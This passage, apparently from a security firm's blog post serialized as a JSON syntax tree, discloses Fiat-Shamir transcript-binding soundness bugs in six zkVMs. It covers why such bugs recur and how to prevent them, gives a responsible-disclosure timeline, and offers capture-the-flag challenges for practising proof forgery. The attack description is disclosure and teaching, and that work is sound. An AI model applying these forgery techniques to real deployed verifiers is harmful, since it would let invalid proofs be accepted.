"children":128005},{"className":128004},[9635],[128006],{"type":29,"value":118209},{"type":24,"tag":147,"props":128008,"children":128010},{"className":128009},[27319],[128011],{"type":29,"value":480},{"type":24,"tag":147,"props":128013,"children":128015},{"className":128014},[9635,27190],[128016],{"type":29,"value":8852},{"type":24,"tag":147,"props":128018,"children":128020},{"className":128019},[9746],[128021],{"type":29,"value":9749},{"type":24,"tag":147,"props":128023,"children":128025},{"className":128024,"style":9753},[9714],[],{"type":24,"tag":147,"props":128027,"children":128029},{"className":128028},[9635],[128030,128035],{"type":24,"tag":147,"props":128031,"children":128033},{"className":128032,"style":98630},[9635,27190],[128034],{"type":29,"value":99449},{"type":24,"tag":147,"props":128036,"children":128038},{"className":128037},[9650],[128039],{"type":24,"tag":147,"props":128040,"children":128042},{"className":128041},[9655,27244],[128043,128072],{"type":24,"tag":147,"props":128044,"children":128046},{"className":128045},[9660],[128047,128067],{"type":24,"tag":147,"props":128048,"children":128050},{"className":128049,"style":99159},[9665],[128051],{"type":24,"tag":147,"props":128052,"children":128053},{"style":115620},[128054,128058],{"type":24,"tag":147,"props":128055,"children":128057},{"className":128056,"style":9675},[9674],[],{"type":24,"tag":147,"props":128059,"children":128061},{"className":128060},[9680,9681,9682,9683],[128062],{"type":24,"tag":147,"props":128063,"children":128065},{"className":128064,"style":119843},[9635,27190,9683],[128066],{"type":29,"value":14281},{"type":24,"tag":147,"props":128068,"children":128070},{"className":128069},[27347],[128071],{"type":29,"value":27350},{"type":24,"tag":147,"props":128073,"children":128075},{"className":128074},[9660],[128076],{"type":24,"tag":147,"props":128077,"children":128079},{"className":128078,"style":124530},[9665],[128080],{"type":24,"tag":147,"props":128081,"children":128082},{},[],{"type":24,"tag":147,"props":128084,"children":128086},{"className":128085},[27341],[128087],{"type":29,"value":8758},{"type":24,"tag":147,"props":128089,"children":128091},{"className":128090,"style":9715},[9714],[],{"type":24,"tag":147,"props":128093,"children":128095},{"className":128094},[9720],[128096],{"type":29,"value":116883},{"type":24,"tag":147,"props":128098,"children":128100},{"className":128099,"style":9715},[9714],[],{"type":24,"tag":147,"props":128102,"children":128104},{"className":128103},[9624],[128105,128109,128118,128123,128128,128133,128137,128147,128152,128161,128166,128175],{"type":24,"tag":147,"props":128106,"children":128108},{"className":128107,"style":98572},[9629],[],{"type":24,"tag":147,"props":128110,"children":128112},{"className":128111},[9635,29],[128113],{"type":24,"tag":147,"props":128114,"children":128116},{"className":128115},[9635],[128117],{"type":29,"value":118209},{"type":24,"tag":147,"props":128119,"children":128121},{"className":128120},[27319],[128122],{"type":29,"value":480},{"type":24,"tag":147,"props":128124,"children":128126},{"className":128125,"style":127900},[9635,27190],[128127],{"type":29,"value":55169},{"type":24,"tag":147,"props":128129,"children":128131},{"className":128130},[9746],[128132],{"type":29,"value":9749},{"type":24,"tag":147,"props":128134,"children":128136},{"className":128135,"style":9753},[9714],[],{"type":24,"tag":147,"props":128138,"children":128140},{"className":128139},[9635,29],[128141],{"type":24,"tag":147,"props":128142,"children":128144},{"className":128143},[9635],[128145],{"type":29,"value":128146},"inout",{"type":24,"tag":147,"props":128148,"children":128150},{"className":128149,"style":98630},[9635],[128151],{"type":29,"value":8714},{"type":24,"tag":147,"props":128153,"children":128155},{"className":128154},[9635,29],[128156],{"type":24,"tag":147,"props":128157,"children":128159},{"className":128158},[9635],[128160],{"type":29,"value":43146},{"type":24,"tag":147,"props":128162,"children":128164},{"className":128163,"style":98630},[9635],[128165],{"type":29,"value":8714},{"type":24,"tag":147,"props":128167,"children":128169},{"className":128168},[9635,29],[128170],{"type":24,"tag":147,"props":128171,"children":128173},{"className":128172},[9635],[128174],{"type":29,"value":123405},{"type":24,"tag":147,"props":128176,"children":128178},{"className":128177},[27341],[128179],{"type":29,"value":8758},{"type":24,"tag":25,"props":128181,"children":128182},{},[128183,128185,128190,128192,128265],{"type":29,"value":128184},"With challenges fixed (independent of ",{"type":24,"tag":80,"props":128186,"children":128188},{"className":128187},[],[128189],{"type":29,"value":67257},{"type":29,"value":128191},"), an attacker can find an alternate witness ",{"type":24,"tag":80,"props":128193,"children":128195},{"className":128194},[9607,9608],[128196],{"type":24,"tag":147,"props":128197,"children":128199},{"className":128198},[9613],[128200],{"type":24,"tag":147,"props":128201,"children":128203},{"className":128202,"ariaHidden":9619},[9618],[128204],{"type":24,"tag":147,"props":128205,"children":128207},{"className":128206},[9624],[128208,128213],{"type":24,"tag":147,"props":128209,"children":128212},{"className":128210,"style":128211},[9629],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":128214,"children":128216},{"className":128215},[9635],[128217,128226],{"type":24,"tag":147,"props":128218,"children":128220},{"className":128219},[9635,29],[128221],{"type":24,"tag":147,"props":128222,"children":128224},{"className":128223},[9635],[128225],{"type":29,"value":67257},{"type":24,"tag":147,"props":128227,"children":128229},{"className":128228},[9650],[128230],{"type":24,"tag":147,"props":128231,"children":128233},{"className":128232},[9655],[128234],{"type":24,"tag":147,"props":128235,"children":128237},{"className":128236},[9660],[128238],{"type":24,"tag":147,"props":128239,"children":128242},{"className":128240,"style":128241},[9665],"height:0.8362em;",[128243],{"type":24,"tag":147,"props":128244,"children":128246},{"style":128245},"top:-3.1473em;margin-right:0.05em;",[128247,128251],{"type":24,"tag":147,"props":128248,"children":128250},{"className":128249,"style":9675},[9674],[],{"type":24,"tag":147,"props":128252,"children":128254},{"className":128253},[9680,9681,9682,9683],[128255],{"type":24,"tag":147,"props":128256,"children":128258},{"className":128257},[9635,9683],[128259],{"type":24,"tag":147,"props":128260,"children":128262},{"className":128261},[9635,9683],[128263],{"type":29,"value":128264},"′",{"type":29,"value":128266}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":128268,"children":128269},{},[128270,128274,128276],{"type":24,"tag":10949,"props":128271,"children":128272},{},[128273],{"type":29,"value":122330},{"type":29,"value":128275}," Fixed on December 29, 2025 via ",{"type":24,"tag":2773,"props":128277,"children":128280},{"href":128278,"rel":128279},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[2777],[128281],{"type":29,"value":128282},"commit 86a515f",{"type":24,"tag":2665,"props":128284,"children":128285},{},[],{"type":24,"tag":32,"props":128287,"children":128289},{"id":128288},"why-does-this-keep-happening",[128290],{"type":29,"value":128291},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":128293,"children":128294},{},[128295],{"type":29,"value":128296},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":43,"props":128298,"children":128300},{"id":128299},"academic-papers-dont-specify-fiat-shamir",[128301],{"type":29,"value":128302},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":128304,"children":128305},{},[128306,128308,128313,128315,128340,128342,128345,128347,128372,128374,128401],{"type":29,"value":128307},"Academic papers usually describe ",{"type":24,"tag":8545,"props":128309,"children":128310},{},[128311],{"type":29,"value":128312},"interactive",{"type":29,"value":128314}," protocols: \"Prover sends ",{"type":24,"tag":80,"props":128316,"children":128318},{"className":128317},[9607,9608],[128319],{"type":24,"tag":147,"props":128320,"children":128322},{"className":128321},[9613],[128323],{"type":24,"tag":147,"props":128324,"children":128326},{"className":128325,"ariaHidden":9619},[9618],[128327],{"type":24,"tag":147,"props":128328,"children":128330},{"className":128329},[9624],[128331,128335],{"type":24,"tag":147,"props":128332,"children":128334},{"className":128333,"style":27185},[9629],[],{"type":24,"tag":147,"props":128336,"children":128338},{"className":128337,"style":27722},[9635,27190],[128339],{"type":29,"value":121849},{"type":29,"value":128341},". Verifier sends",{"type":24,"tag":8388,"props":128343,"children":128344},{},[],{"type":29,"value":128346},"random ",{"type":24,"tag":80,"props":128348,"children":128350},{"className":128349},[9607,9608],[128351],{"type":24,"tag":147,"props":128352,"children":128354},{"className":128353},[9613],[128355],{"type":24,"tag":147,"props":128356,"children":128358},{"className":128357,"ariaHidden":9619},[9618],[128359],{"type":24,"tag":147,"props":128360,"children":128362},{"className":128361},[9624],[128363,128367],{"type":24,"tag":147,"props":128364,"children":128366},{"className":128365,"style":116462},[9629],[],{"type":24,"tag":147,"props":128368,"children":128370},{"className":128369,"style":98630},[9635,27190],[128371],{"type":29,"value":99449},{"type":29,"value":128373},". Prover sends ",{"type":24,"tag":80,"props":128375,"children":128377},{"className":128376},[9607,9608],[128378],{"type":24,"tag":147,"props":128379,"children":128381},{"className":128380},[9613],[128382],{"type":24,"tag":147,"props":128383,"children":128385},{"className":128384,"ariaHidden":9619},[9618],[128386],{"type":24,"tag":147,"props":128387,"children":128389},{"className":128388},[9624],[128390,128394],{"type":24,"tag":147,"props":128391,"children":128393},{"className":128392,"style":27185},[9629],[],{"type":24,"tag":147,"props":128395,"children":128398},{"className":128396,"style":128397},[9635,27190],"margin-right:0.00773em;",[128399],{"type":29,"value":128400},"R",{"type":29,"value":128402},".\"",{"type":24,"tag":25,"props":128404,"children":128405},{},[128406,128408,128433,128435,128460],{"type":29,"value":128407},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":80,"props":128409,"children":128411},{"className":128410},[9607,9608],[128412],{"type":24,"tag":147,"props":128413,"children":128415},{"className":128414},[9613],[128416],{"type":24,"tag":147,"props":128417,"children":128419},{"className":128418,"ariaHidden":9619},[9618],[128420],{"type":24,"tag":147,"props":128421,"children":128423},{"className":128422},[9624],[128424,128428],{"type":24,"tag":147,"props":128425,"children":128427},{"className":128426,"style":27185},[9629],[],{"type":24,"tag":147,"props":128429,"children":128431},{"className":128430,"style":27722},[9635,27190],[128432],{"type":29,"value":121849},{"type":29,"value":128434}," before sampling ",{"type":24,"tag":80,"props":128436,"children":128438},{"className":128437},[9607,9608],[128439],{"type":24,"tag":147,"props":128440,"children":128442},{"className":128441},[9613],[128443],{"type":24,"tag":147,"props":128444,"children":128446},{"className":128445,"ariaHidden":9619},[9618],[128447],{"type":24,"tag":147,"props":128448,"children":128450},{"className":128449},[9624],[128451,128455],{"type":24,"tag":147,"props":128452,"children":128454},{"className":128453,"style":116462},[9629],[],{"type":24,"tag":147,"props":128456,"children":128458},{"className":128457,"style":98630},[9635,27190],[128459],{"type":29,"value":99449},{"type":29,"value":128461},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":128463,"children":128464},{},[128465],{"type":29,"value":128466},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":43,"props":128468,"children":128470},{"id":128469},"the-hot-potato-problem",[128471],{"type":29,"value":128472},"The Hot Potato Problem",{"type":24,"tag":25,"props":128474,"children":128475},{},[128476],{"type":29,"value":128477},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":128479,"children":128480},{},[128481],{"type":24,"tag":63,"props":128482,"children":128485},{"alt":128483,"src":128484},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":128487,"children":128488},{},[128489],{"type":29,"value":128490},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":43,"props":128492,"children":128494},{"id":128493},"optimization-pressure",[128495],{"type":29,"value":128496},"Optimization Pressure",{"type":24,"tag":25,"props":128498,"children":128499},{},[128500],{"type":29,"value":128501},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":128503,"children":128504},{},[128505],{"type":29,"value":128506},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":43,"props":128508,"children":128510},{"id":128509},"testing-doesnt-catch-adversarial-inputs",[128511],{"type":29,"value":128512},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":128514,"children":128515},{},[128516],{"type":29,"value":128517},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":2665,"props":128519,"children":128520},{},[],{"type":24,"tag":32,"props":128522,"children":128524},{"id":128523},"how-to-find-and-fix-these-bugs",[128525],{"type":29,"value":128526},"How to Find and Fix These Bugs",{"type":24,"tag":43,"props":128528,"children":128530},{"id":128529},"prevention",[128531],{"type":29,"value":128532},"Prevention",{"type":24,"tag":25,"props":128534,"children":128535},{},[128536],{"type":29,"value":128537},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":128539,"children":128540},{},[128541],{"type":29,"value":128542},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":128544,"children":128545},{},[128546],{"type":29,"value":128547},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":128549,"children":128550},{},[128551],{"type":29,"value":128552},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":128554,"children":128555},{},[128556],{"type":29,"value":128557},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":2665,"props":128559,"children":128560},{},[],{"type":24,"tag":32,"props":128562,"children":128564},{"id":128563},"responsible-disclosure-timeline",[128565],{"type":29,"value":128566},"Responsible Disclosure Timeline",{"type":24,"tag":61332,"props":128568,"children":128569},{},[128570,128598],{"type":24,"tag":128571,"props":128572,"children":128573},"thead",{},[128574],{"type":24,"tag":128575,"props":128576,"children":128577},"tr",{},[128578,128583,128588,128593],{"type":24,"tag":128579,"props":128580,"children":128581},"th",{},[128582],{"type":29,"value":28810},{"type":24,"tag":128579,"props":128584,"children":128585},{},[128586],{"type":29,"value":128587},"Reported",{"type":24,"tag":128579,"props":128589,"children":128590},{},[128591],{"type":29,"value":128592},"Fixed",{"type":24,"tag":128579,"props":128594,"children":128595},{},[128596],{"type":29,"value":128597},"Response Time",{"type":24,"tag":128599,"props":128600,"children":128601},"tbody",{},[128602,128625,128646,128666,128688,128709],{"type":24,"tag":128575,"props":128603,"children":128604},{},[128605,128610,128615,128620],{"type":24,"tag":128606,"props":128607,"children":128608},"td",{},[128609],{"type":29,"value":113434},{"type":24,"tag":128606,"props":128611,"children":128612},{},[128613],{"type":29,"value":128614},"Sep 2025",{"type":24,"tag":128606,"props":128616,"children":128617},{},[128618],{"type":29,"value":128619},"Oct 3, 2025",{"type":24,"tag":128606,"props":128621,"children":128622},{},[128623],{"type":29,"value":128624},"\u003C1 week",{"type":24,"tag":128575,"props":128626,"children":128627},{},[128628,128632,128637,128642],{"type":24,"tag":128606,"props":128629,"children":128630},{},[128631],{"type":29,"value":113440},{"type":24,"tag":128606,"props":128633,"children":128634},{},[128635],{"type":29,"value":128636},"Oct 2025",{"type":24,"tag":128606,"props":128638,"children":128639},{},[128640],{"type":29,"value":128641},"Oct 24, 2025",{"type":24,"tag":128606,"props":128643,"children":128644},{},[128645],{"type":29,"value":128624},{"type":24,"tag":128575,"props":128647,"children":128648},{},[128649,128653,128657,128662],{"type":24,"tag":128606,"props":128650,"children":128651},{},[128652],{"type":29,"value":113446},{"type":24,"tag":128606,"props":128654,"children":128655},{},[128656],{"type":29,"value":128636},{"type":24,"tag":128606,"props":128658,"children":128659},{},[128660],{"type":29,"value":128661},"Oct 31, 2025",{"type":24,"tag":128606,"props":128663,"children":128664},{},[128665],{"type":29,"value":128624},{"type":24,"tag":128575,"props":128667,"children":128668},{},[128669,128673,128678,128683],{"type":24,"tag":128606,"props":128670,"children":128671},{},[128672],{"type":29,"value":113452},{"type":24,"tag":128606,"props":128674,"children":128675},{},[128676],{"type":29,"value":128677},"Nov 2025",{"type":24,"tag":128606,"props":128679,"children":128680},{},[128681],{"type":29,"value":128682},"Mar 5, 2026",{"type":24,"tag":128606,"props":128684,"children":128685},{},[128686],{"type":29,"value":128687},"~4 months",{"type":24,"tag":128575,"props":128689,"children":128690},{},[128691,128695,128700,128705],{"type":24,"tag":128606,"props":128692,"children":128693},{},[128694],{"type":29,"value":113464},{"type":24,"tag":128606,"props":128696,"children":128697},{},[128698],{"type":29,"value":128699},"Dec 2025",{"type":24,"tag":128606,"props":128701,"children":128702},{},[128703],{"type":29,"value":128704},"Dec 29, 2025",{"type":24,"tag":128606,"props":128706,"children":128707},{},[128708],{"type":29,"value":128624},{"type":24,"tag":128575,"props":128710,"children":128711},{},[128712,128716,128720,128725],{"type":24,"tag":128606,"props":128713,"children":128714},{},[128715],{"type":29,"value":113458},{"type":24,"tag":128606,"props":128717,"children":128718},{},[128719],{"type":29,"value":128677},{"type":24,"tag":128606,"props":128721,"children":128722},{},[128723],{"type":29,"value":128724},"Jan 21, 2026?",{"type":24,"tag":128606,"props":128726,"children":128727},{},[128728],{"type":29,"value":128729},"3 months",{"type":24,"tag":25,"props":128731,"children":128732},{},[128733],{"type":29,"value":128734},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":2665,"props":128736,"children":128737},{},[],{"type":24,"tag":32,"props":128739,"children":128741},{"id":128740},"challenges",[128742],{"type":29,"value":113477},{"type":24,"tag":25,"props":128744,"children":128745},{},[128746,128748],{"type":29,"value":128747},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":128749,"props":128750,"children":128751},"del",{},[128752],{"type":29,"value":128753},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":128755,"children":128756},{},[128757,128759,128812,128813,129069],{"type":29,"value":128758},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":80,"props":128760,"children":128762},{"className":128761},[9607,9608],[128763],{"type":24,"tag":147,"props":128764,"children":128766},{"className":128765},[9613],[128767],{"type":24,"tag":147,"props":128768,"children":128770},{"className":128769,"ariaHidden":9619},[9618],[128771],{"type":24,"tag":147,"props":128772,"children":128774},{"className":128773},[9624],[128775,128779,128784,128789,128793,128798,128803,128807],{"type":24,"tag":147,"props":128776,"children":128778},{"className":128777,"style":120675},[9629],[],{"type":24,"tag":147,"props":128780,"children":128782},{"className":128781},[9635,27190],[128783],{"type":29,"value":2773},{"type":24,"tag":147,"props":128785,"children":128787},{"className":128786},[9746],[128788],{"type":29,"value":9749},{"type":24,"tag":147,"props":128790,"children":128792},{"className":128791,"style":9753},[9714],[],{"type":24,"tag":147,"props":128794,"children":128796},{"className":128795},[9635,27190],[128797],{"type":29,"value":8852},{"type":24,"tag":147,"props":128799,"children":128801},{"className":128800},[9746],[128802],{"type":29,"value":9749},{"type":24,"tag":147,"props":128804,"children":128806},{"className":128805,"style":9753},[9714],[],{"type":24,"tag":147,"props":128808,"children":128810},{"className":128809},[9635,27190],[128811],{"type":29,"value":140},{"type":29,"value":115277},{"type":24,"tag":80,"props":128814,"children":128816},{"className":128815},[9607,9608],[128817],{"type":24,"tag":147,"props":128818,"children":128820},{"className":128819},[9613],[128821],{"type":24,"tag":147,"props":128822,"children":128824},{"className":128823,"ariaHidden":9619},[9618],[128825,128888,128950,129056],{"type":24,"tag":147,"props":128826,"children":128828},{"className":128827},[9624],[128829,128834,128875,128879,128884],{"type":24,"tag":147,"props":128830,"children":128833},{"className":128831,"style":128832},[9629],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":128835,"children":128837},{"className":128836},[9635],[128838,128843],{"type":24,"tag":147,"props":128839,"children":128841},{"className":128840},[9635,27190],[128842],{"type":29,"value":2773},{"type":24,"tag":147,"props":128844,"children":128846},{"className":128845},[9650],[128847],{"type":24,"tag":147,"props":128848,"children":128850},{"className":128849},[9655],[128851],{"type":24,"tag":147,"props":128852,"children":128854},{"className":128853},[9660],[128855],{"type":24,"tag":147,"props":128856,"children":128858},{"className":128857,"style":9630},[9665],[128859],{"type":24,"tag":147,"props":128860,"children":128861},{"style":9669},[128862,128866],{"type":24,"tag":147,"props":128863,"children":128865},{"className":128864,"style":9675},[9674],[],{"type":24,"tag":147,"props":128867,"children":128869},{"className":128868},[9680,9681,9682,9683],[128870],{"type":24,"tag":147,"props":128871,"children":128873},{"className":128872},[9635,9683],[128874],{"type":29,"value":22901},{"type":24,"tag":147,"props":128876,"children":128878},{"className":128877,"style":9715},[9714],[],{"type":24,"tag":147,"props":128880,"children":128882},{"className":128881},[9720],[128883],{"type":29,"value":624},{"type":24,"tag":147,"props":128885,"children":128887},{"className":128886,"style":9715},[9714],[],{"type":24,"tag":147,"props":128889,"children":128891},{"className":128890},[9624],[128892,128896,128937,128941,128946],{"type":24,"tag":147,"props":128893,"children":128895},{"className":128894,"style":9630},[9629],[],{"type":24,"tag":147,"props":128897,"children":128899},{"className":128898},[9635],[128900,128905],{"type":24,"tag":147,"props":128901,"children":128903},{"className":128902},[9635,27190],[128904],{"type":29,"value":8852},{"type":24,"tag":147,"props":128906,"children":128908},{"className":128907},[9650],[128909],{"type":24,"tag":147,"props":128910,"children":128912},{"className":128911},[9655],[128913],{"type":24,"tag":147,"props":128914,"children":128916},{"className":128915},[9660],[128917],{"type":24,"tag":147,"props":128918,"children":128920},{"className":128919,"style":9630},[9665],[128921],{"type":24,"tag":147,"props":128922,"children":128923},{"style":9669},[128924,128928],{"type":24,"tag":147,"props":128925,"children":128927},{"className":128926,"style":9675},[9674],[],{"type":24,"tag":147,"props":128929,"children":128931},{"className":128930},[9680,9681,9682,9683],[128932],{"type":24,"tag":147,"props":128933,"children":128935},{"className":128934},[9635,9683],[128936],{"type":29,"value":22901},{"type":24,"tag":147,"props":128938,"children":128940},{"className":128939,"style":9812},[9714],[],{"type":24,"tag":147,"props":128942,"children":128944},{"className":128943},[9817],[128945],{"type":29,"value":369},{"type":24,"tag":147,"props":128947,"children":128949},{"className":128948,"style":9812},[9714],[],{"type":24,"tag":147,"props":128951,"children":128953},{"className":128952},[9624],[128954,128959,129000,129005,129009,129014,129019,129023,129028,129033,129037,129042,129046,129052],{"type":24,"tag":147,"props":128955,"children":128958},{"className":128956,"style":128957},[9629],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":128960,"children":128962},{"className":128961},[9635],[128963,128968],{"type":24,"tag":147,"props":128964,"children":128966},{"className":128965},[9635,27190],[128967],{"type":29,"value":140},{"type":24,"tag":147,"props":128969,"children":128971},{"className":128970},[9650],[128972],{"type":24,"tag":147,"props":128973,"children":128975},{"className":128974},[9655],[128976],{"type":24,"tag":147,"props":128977,"children":128979},{"className":128978},[9660],[128980],{"type":24,"tag":147,"props":128981,"children":128983},{"className":128982,"style":9630},[9665],[128984],{"type":24,"tag":147,"props":128985,"children":128986},{"style":9669},[128987,128991],{"type":24,"tag":147,"props":128988,"children":128990},{"className":128989,"style":9675},[9674],[],{"type":24,"tag":147,"props":128992,"children":128994},{"className":128993},[9680,9681,9682,9683],[128995],{"type":24,"tag":147,"props":128996,"children":128998},{"className":128997},[9635,9683],[128999],{"type":29,"value":22901},{"type":24,"tag":147,"props":129001,"children":129003},{"className":129002},[9746],[129004],{"type":29,"value":9749},{"type":24,"tag":147,"props":129006,"children":129008},{"className":129007,"style":9753},[9714],[],{"type":24,"tag":147,"props":129010,"children":129012},{"className":129011},[9635,27190],[129013],{"type":29,"value":2773},{"type":24,"tag":147,"props":129015,"children":129017},{"className":129016},[9746],[129018],{"type":29,"value":9749},{"type":24,"tag":147,"props":129020,"children":129022},{"className":129021,"style":9753},[9714],[],{"type":24,"tag":147,"props":129024,"children":129026},{"className":129025},[9635,27190],[129027],{"type":29,"value":8852},{"type":24,"tag":147,"props":129029,"children":129031},{"className":129030},[9746],[129032],{"type":29,"value":9749},{"type":24,"tag":147,"props":129034,"children":129036},{"className":129035,"style":9753},[9714],[],{"type":24,"tag":147,"props":129038,"children":129040},{"className":129039},[9635,27190],[129041],{"type":29,"value":140},{"type":24,"tag":147,"props":129043,"children":129045},{"className":129044,"style":9812},[9714],[],{"type":24,"tag":147,"props":129047,"children":129049},{"className":129048},[9817],[129050],{"type":29,"value":129051},"≥",{"type":24,"tag":147,"props":129053,"children":129055},{"className":129054,"style":9812},[9714],[],{"type":24,"tag":147,"props":129057,"children":129059},{"className":129058},[9624],[129060,129064],{"type":24,"tag":147,"props":129061,"children":129063},{"className":129062,"style":99661},[9629],[],{"type":24,"tag":147,"props":129065,"children":129067},{"className":129066},[9635],[129068],{"type":29,"value":1154},{"type":29,"value":129070},". Good luck!",{"type":24,"tag":43,"props":129072,"children":129074},{"id":129073},"jolt",[129075],{"type":29,"value":113434},{"type":24,"tag":25,"props":129077,"children":129078},{},[129079,129081,129092,129094],{"type":29,"value":129080},"See ",{"type":24,"tag":2773,"props":129082,"children":129089},{"href":129083,"target":129084,"rel":129085,"download":129088},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[129086,129087],"noopener","noreferrer","handout_jolt.tar.gz",[129090],{"type":29,"value":129091},"the handout",{"type":29,"value":129093}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":80,"props":129095,"children":129097},{"className":129096},[],[129098],{"type":29,"value":129099},"jolt.chal.osec.io:8960",{"type":24,"tag":43,"props":129101,"children":129103},{"id":129102},"nexus-1",[129104],{"type":29,"value":113440},{"type":24,"tag":25,"props":129106,"children":129107},{},[129108,129109,129116,129117],{"type":29,"value":129080},{"type":24,"tag":2773,"props":129110,"children":129114},{"href":129111,"target":129084,"rel":129112,"download":129113},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[129086,129087],"handout_nexus.tar.gz",[129115],{"type":29,"value":129091},{"type":29,"value":129093},{"type":24,"tag":80,"props":129118,"children":129120},{"className":129119},[],[129121],{"type":29,"value":129122},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":129124,"children":129125},{},[129126],{"type":29,"value":129127},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":2665,"props":129129,"children":129130},{},[],{"type":24,"tag":32,"props":129132,"children":129134},{"id":129133},"takeaways",[129135],{"type":29,"value":129136},"Takeaways",{"type":24,"tag":25,"props":129138,"children":129139},{},[129140],{"type":29,"value":129141},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":129143,"children":129144},{},[129145],{"type":29,"value":129146},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":129148,"children":129149},{},[129150,129155],{"type":24,"tag":10949,"props":129151,"children":129152},{},[129153],{"type":29,"value":129154},"For the ZK ecosystem:",{"type":29,"value":129156}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":129158,"children":129159},{},[129160],{"type":29,"value":129161},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":129163,"children":129164},{},[129165,129170],{"type":24,"tag":10949,"props":129166,"children":129167},{},[129168],{"type":29,"value":129169},"For auditors:",{"type":29,"value":129171}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":129173,"children":129174},{},[129175,129180],{"type":24,"tag":10949,"props":129176,"children":129177},{},[129178],{"type":29,"value":129179},"For builders:",{"type":29,"value":129181}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":8473,"props":129183,"children":129184},{},[129185],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":129187},[129188,129189,129192,129198,129199,129207,129213,129216,129217,129221],{"id":113485,"depth":160,"text":113488},{"id":113627,"depth":160,"text":113630,"children":129190},[129191],{"id":113633,"depth":169,"text":113636},{"id":114062,"depth":160,"text":114065,"children":129193},[129194,129195,129196,129197],{"id":114073,"depth":169,"text":114076},{"id":114261,"depth":169,"text":114264},{"id":117642,"depth":169,"text":117645},{"id":118855,"depth":169,"text":118858},{"id":120492,"depth":160,"text":120495},{"id":120998,"depth":160,"text":121001,"children":129200},[129201,129202,129203,129204,129205,129206],{"id":121020,"depth":169,"text":121023},{"id":122345,"depth":169,"text":113440},{"id":123481,"depth":169,"text":123484},{"id":124149,"depth":169,"text":124152},{"id":126805,"depth":169,"text":126808},{"id":127359,"depth":169,"text":113464},{"id":128288,"depth":160,"text":128291,"children":129208},[129209,129210,129211,129212],{"id":128299,"depth":169,"text":128302},{"id":128469,"depth":169,"text":128472},{"id":128493,"depth":169,"text":128496},{"id":128509,"depth":169,"text":128512},{"id":128523,"depth":160,"text":128526,"children":129214},[129215],{"id":128529,"depth":169,"text":128532},{"id":128563,"depth":160,"text":128566},{"id":128740,"depth":160,"text":113477,"children":129218},[129219,129220],{"id":129073,"depth":169,"text":113434},{"id":129102,"depth":169,"text":113440},{"id":129133,"depth":160,"text":129136},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_local